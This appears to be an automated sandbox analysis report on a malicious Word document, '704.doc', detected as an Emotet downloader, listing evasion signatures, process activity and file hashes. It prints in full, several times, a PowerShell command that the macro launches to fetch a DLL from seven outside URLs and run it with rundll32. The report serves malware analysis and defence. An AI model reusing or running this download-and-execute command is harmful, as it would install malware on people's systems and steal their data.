Source: powershell.exe, 00000006.00000003.749926662.0000000009B4A000.00000004.00000001.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}'>f$
Source: powershell.exe, 00000006.00000002.754189046.0000000005163000.00000004.00000001.sdmp	Binary or memory string: c:C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Hyper-V
Source: powershell.exe, 00000006.00000003.750063979.000000000817F000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Anti Debugging:

Enables debug privileges

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

Document contains VBA stomped code (only p-code) potentially bypassing AV detection

Source: 704.doc	OLE indicator, VBA stomping: true
Source: ~DF0E259767A8C316A9.TMP.0.dr	OLE indicator, VBA stomping: true

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c start /B powershell $dfkj="$strs=\"http://primtalent.com/wp-admin/9yt1u/,http://huskysb.com/wordpress/6f0qIQlWPaYDfa/,http://ridcyf.com/dm7vg/DGWFrJA0kutWTk/,http://manak.edunetfoundation.org/school-facilitator/qlwM2RAHhDG8N8/,http://ckfoods.net/wp-admin/wPInm2rgMu/,http://adorwelding.zmotpro.com/wp-content/Z8ifMTCM2VBWlfeSZmzv/,http://server.zmotpro.com/venkat/products/facebook-page/assets/kmIdeXnG/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"c:\programdata\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"c:\windows\syswow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell $dfkj="$strs=\"http://primtalent.com/wp-admin/9yt1u/,http://huskysb.com/wordpress/6f0qIQlWPaYDfa/,http://ridcyf.com/dm7vg/DGWFrJA0kutWTk/,http://manak.edunetfoundation.org/school-facilitator/qlwM2RAHhDG8N8/,http://ckfoods.net/wp-admin/wPInm2rgMu/,http://adorwelding.zmotpro.com/wp-content/Z8ifMTCM2VBWlfeSZmzv/,http://server.zmotpro.com/venkat/products/facebook-page/assets/kmIdeXnG/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"c:\programdata\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"c:\windows\syswow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c start /B powershell $dfkj="$strs=\"http://primtalent.com/wp-admin/9yt1u/,http://huskysb.com/wordpress/6f0qIQlWPaYDfa/,http://ridcyf.com/dm7vg/DGWFrJA0kutWTk/,http://manak.edunetfoundation.org/school-facilitator/qlwM2RAHhDG8N8/,http://ckfoods.net/wp-admin/wPInm2rgMu/,http://adorwelding.zmotpro.com/wp-content/Z8ifMTCM2VBWlfeSZmzv/,http://server.zmotpro.com/venkat/products/facebook-page/assets/kmIdeXnG/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"c:\programdata\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"c:\windows\syswow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell $dfkj="$strs=\"http://primtalent.com/wp-admin/9yt1u/,http://huskysb.com/wordpress/6f0qIQlWPaYDfa/,http://ridcyf.com/dm7vg/DGWFrJA0kutWTk/,http://manak.edunetfoundation.org/school-facilitator/qlwM2RAHhDG8N8/,http://ckfoods.net/wp-admin/wPInm2rgMu/,http://adorwelding.zmotpro.com/wp-content/Z8ifMTCM2VBWlfeSZmzv/,http://server.zmotpro.com/venkat/products/facebook-page/assets/kmIdeXnG/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"c:\programdata\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"c:\windows\syswow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj	Jump to behavior

Creates a process in suspended mode (likely to inject code)

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell $dfkj="$strs=\"http://primtalent.com/wp-admin/9yt1u/,http://huskysb.com/wordpress/6f0qIQlWPaYDfa/,http://ridcyf.com/dm7vg/DGWFrJA0kutWTk/,http://manak.edunetfoundation.org/school-facilitator/qlwM2RAHhDG8N8/,http://ckfoods.net/wp-admin/wPInm2rgMu/,http://adorwelding.zmotpro.com/wp-content/Z8ifMTCM2VBWlfeSZmzv/,http://server.zmotpro.com/venkat/products/facebook-page/assets/kmIdeXnG/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"c:\programdata\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"c:\windows\syswow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\windows\syswow64\rundll32.exe" c:\programdata\646848703.dll,f1349786762			Jump to behavior

Language, Device and Operating System Detection:

Queries the volume information (name, serial number etc) of a device

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC\Microsoft.mshtml\7.0.3300.0__b03f5f7f11d50a3a\Microsoft.mshtml.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior

Stealing of Sensitive Information:

Yara detected Emotet Downloader

Source: Yara match

File source: C:\Users\user\Documents\20211122\PowerShell_transcript.405464.2vRpjg5W.20211122132242.txt, type: DROPPED

ID:	526268
Product:	CloudBasic
Start time:	13:21:39
Start date:	22.11.2021
Sample:	704.doc
Cookbook:	defaultwindowsofficecookbook.jbs
System description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Architecture:	WINDOWS
MD5:	40f85d07da2533d576b1f2d7c043a2da
SHA1:	60b84d70a6511483c6de131fb62e30a99edff5c4
SHA256:	d05ec2a0134518ec74fcbee94a522c3837d82b7b5d2f162b8466850fc4f1be0d
Filetype:	Word Microsoft Office Open XML Format document with Macro (52004/1) 33.99%

Name	Type	MD5	SHA1	SHA256
C:\ProgramData\646848703.dll	HTML document, ASCII text, with very long lines	25CB0101745D210670A8C622B713D25E	6FB348D14036D1E68C4AE68DEFB3A3B53B0E7283	94C62A22BC584EFECEA77DF528342119056CA59D3D6F8CB39F02C9EDC160C14C
C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\ED19ABEB-CDF2-44DC-A6F4-0F73FB78CE80	XML 1.0 document, UTF-8 Unicode text, with very long lines, with CRLF line terminators	08DCA7A4FCD6393E7C011CA63B152E0C	3C94D8DA46A4F629BEB5AAC702B1E65746A2F020	1DC17B81DE4BB45441D0C257D754359BC55F2B37D170385E63BFD05BAD5F5E6B
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\665C8B7A.png	PNG image data, 1127 x 490, 8-bit/color RGB, non-interlaced	D3C11BC087FAF4372F4C5D37E06FCFFD	40A9FE4D47DADFDB1463D63F14D6D60641AC19E5	6F49F13CEF0667A75A3E55767CD769F476EB3FF400BDA8CB3FBF47BA8B0A7077
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRF{AF20B67A-97C1-4448-B2F6-AF3A3498FB76}.tmp	Composite Document File V2 Document, Cannot read section info	194AF1A94B7E75A87C5BE6F1F9453857	F8EC8975336DD690A8CF44D1D64C917F13305E2F	596C8EBE3A92F62DFA347202C79910F848A418DE4B2371B213A0004086957D9C
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{35810410-5FD3-47F2-B08A-1DE17B8BA882}.tmp	data	5D4D94EE7E06BBB0AF9584119797B23A	DBB111419C704F116EFA8E72471DD83E86E49677	4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{62016A81-8420-4F16-89A1-1259E0199215}.tmp	data	582FA24D082E9486E72A1B9681CDF97B	CB23EE4B0A2D6188A7C39562DB5B4AA8A9C4FBB9	F857A260E9DC18D6B5A51207FAC4F1A8A985840E8132CCFB324DEAC36DF67145
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{A2B54B36-922B-4491-AD33-70B4A37C30C5}.tmp	data	32649384730B2D61C9E79D46DE589115	053D8D6CEEBA9453C97D0EE5374DB863E6F77AD4	E545D395BB3FD971F91BF9A2B6722831DF704EFAE6C1AA9DA0989ED0970B77BB
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	data	78E4DBADB142BC1436A0C746C1026BFB	C67241D96C86EE2736F2A68FB31911E487C2A352	E6293121B4430038B0549D9549DF356B30CA3B8137429459BB595E5780EB60D1
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd	data	DE65EB542715B95DD0EAAF56CA9AA27F	A52571968D70CD4141A5F746A6447F400090A870	F02615DFC224B4DBB09B2E6ED96E97E3BDF711F838F94997D5BB8474F09FF15E
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_l1xa3wtq.jvy.ps1	very short file (no magic)	C4CA4238A0B923820DCC509A6F75849B	356A192B7913B04C54574D18C28D46E6395428AB	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qrskvuat.dwv.psm1	very short file (no magic)	C4CA4238A0B923820DCC509A6F75849B	356A192B7913B04C54574D18C28D46E6395428AB	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
C:\Users\user\AppData\Local\Temp\~DF0E259767A8C316A9.TMP	Composite Document File V2 Document, Cannot read section info	3DC228918F3FC1CCEEC6300CBC293775	7713AF2621B648F8B28F804D7CC877F63DFE63E4	1FEC6E5BBE68AC32E0C43C66ABB995F20D4941372815444176171EAF3469AE3E
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\704.LNK	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Sep 30 06:35:51 2020, mtime=Mon Nov 22 11:22:37 2021, atime=Mon Nov 22 11:22:33 2021, length=136531, window=hide	EDAC1A423CC725FEB03469581A4A8D42	EC089C3D3C1118D8BCDAA3CD491DF3396BFFEF35	88C92CD9853CF1A97D7F7215336DED94323EEDF40EBEFD5DAB05A8382884F579
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat	ASCII text, with CRLF line terminators	2B1A3D4E9531BB7AAAEEE91097C6E6C8	CDCB8BB8DF9FDC8AE6C9B4E7B3FA485B8075C74B	7C5B1F305E5CDABE223B67B449800F306C63D8B354CA4A21F1C8C20E909EC8E1
C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm	data	B02AB585D974C49883C056100EC22388	52D512FC1DD9F8D0B2D1AE11B3256D43DB0DDC02	D280C9DA4FD90A5400B1361E16E2EE7F8ABE6179793D370D302C0BEF2772C8B7
C:\Users\user\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC	Little-endian UTF-16 Unicode text, with CR line terminators	C4F79900719F08A6F11287E3C7991493	754325A769BE6ECCC664002CD8F6BDB0D0B8CA4D	625CA96CCA65A363CC76429804FF47520B103D2044BA559B11EB02AB7B4D79A8
C:\Users\user\Desktop\~$704.doc	data	B02AB585D974C49883C056100EC22388	52D512FC1DD9F8D0B2D1AE11B3256D43DB0DDC02	D280C9DA4FD90A5400B1361E16E2EE7F8ABE6179793D370D302C0BEF2772C8B7
C:\Users\user\Documents\20211122\PowerShell_transcript.405464.2vRpjg5W.20211122132242.txt	UTF-8 Unicode (with BOM) text, with very long lines, with CRLF line terminators	56F8A52E8A08459615EF28950B50087A	68B22249C6035C8E610AB2A0D5CDAA027ED89ECF	4072B7B218F6015D89A89323BB2574C7B5C27E7859D7CF7FDB842B58EFC230A3

Windows Analysis Report 704.doc

Overview

General Information

Detection

Signatures

Classification

Signatures

AV Detection:

Compliance:

Software Vulnerabilities:

Networking:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Screenshots

Behavior Graph

Network Map

Contacted Public IPs

Contacted Domains

Contacted URLs